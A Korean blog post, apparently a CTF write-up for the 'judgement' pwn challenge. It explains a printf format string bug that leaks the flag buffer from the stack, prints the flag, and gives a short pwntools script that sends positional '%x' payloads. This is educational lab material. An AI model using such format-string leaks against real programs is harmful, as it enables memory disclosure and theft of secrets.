티스토리 뷰
CTF를 참여하진 않았지만, 우연하게 들어와서 풀어보았다.
바이너리 :
judgement풀이 :
main 함수가 실행되기 전에 init라는 함수가 먼저 실행되어 flag.txt라는 파일을 읽어온다. 이 파일의 내용을 알아내는게 목적이다.
main의 printf 함수에서 FSB 취약점을 발견할 수 있고, flag.txt에서 읽어들인 내용을 사용자의 입력과 비교한다. 이 때, 사용자의 입력은 오로지 출력가능한 문자만 입력 가능하다.
요약하면 FSB를 통해 flag.txt의 내용을 읽어들이면 된다.
메모리의 32번째에서 flag.txt의 내용이 저장된 버퍼의 주소가 들어가 있다. 이 부분을 %s를 통해 읽어 들이면 되겠다.
Flag : TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
사용된 스크립트 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import * switch=0 if switch == 1: flag = "TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}" s = remote("pwn1.chal.ctf.westerns.tokyo", 31729) print s.recvuntil("Input flag >> ") s.sendline(flag) s.close() else: for i in range(1, 63, 5): payload="AAAA" for j in range(i, i+5, 1): payload+=" %" + str(j) + "$8x" s = process("./judgement") print s.recvuntil("Input flag >> ") print payload s.sendline(payload) print s.recvline() print s.recvline() s.close() | cs |
'Wargame & CTF > CTF' 카테고리의 다른 글
[Defcon 2017 예선] beatmeonthedl (0) | 2017.05.01 |
---|---|
[Defcon 2017 예선] smashme (0) | 2017.05.01 |
[Code Gate 2017] Messenger (0) | 2017.02.16 |
2016년도 SecurityFirst Final Pwn300 - UAF(소스코드, 익스) (0) | 2016.12.13 |
순천향대학교 YISF 2016 Pwanble 바이너리 (0) | 2016.08.23 |
댓글